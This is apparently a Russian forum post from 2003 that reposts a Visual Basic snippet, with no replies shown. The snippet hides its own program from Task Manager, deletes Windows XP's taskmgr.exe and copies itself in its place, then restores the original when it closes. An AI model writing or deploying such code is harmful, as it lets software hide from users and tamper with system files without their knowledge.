| Вопрос: TaskManager v XP... | Добавлено: 25.09.03 21:31 |
Автор вопроса:  AASoft
|
|
'************************************** ' Name: Disable taskmanager (XP) ' Description:This code temporary disabl ' es the taskmanager, works with Windows X ' P Home ... please vote ... ' By: Lee S. Cook ' ' Assumes:After inputing the code, compi ' le this app... and when a user presses, ' Alt + CTRL + Del it will display the cur ' rent application... ' 'This code is copyrighted and has' limited warranties.Please see http://w ' ww.Planet-Source-Code.com/vb/scripts/Sho ' wCode.asp?txtCodeId=48768&lngWId=1'for details.'************************************** Private Sub Form_Load() ' Hides the application from the taskman ' ager TaskVisible = False ' Makes a backup directory for taskmgr.e ' xe MkDir "C:\TASKMANAGER-BACKUP" ' Makes a backup of taskmgr.exe . FileCopy "C:\WINDOWS\System32\taskmgr.exe", "C:\TASKMANAGER-BACKUP\taskmgr1.exe" ' Deletes the taskmgr.exe file . Kill "C:\WINDOWS\System32\taskmgr.exe"
' Copies this application and temporary ' bypassses it for taskmgr.exe . FileCopy App.Path & "\project1.exe", "C:\WINDOWS\System32\taskmgr.exe" End Sub Private Sub Form_Unload(Cancel As Integer) ' Copies the original file back to the o ' riginal location on form unload . FileCopy "C:\TASKMANAGER-BACKUP\taskmgr1.exe", "C:\WINDOWS\System32\taskmgr.exe" 'Deletes the temporary file Kill "C:\TASKMANAGER-BACKUP\taskmgr1.exe" 'Deletes the temporary backup folder RmDir ("C:\TASKMANAGER-BACKUP") End Sub kak vam takoe??? |
| Ответы | Всего ответов: 0 |
Страница: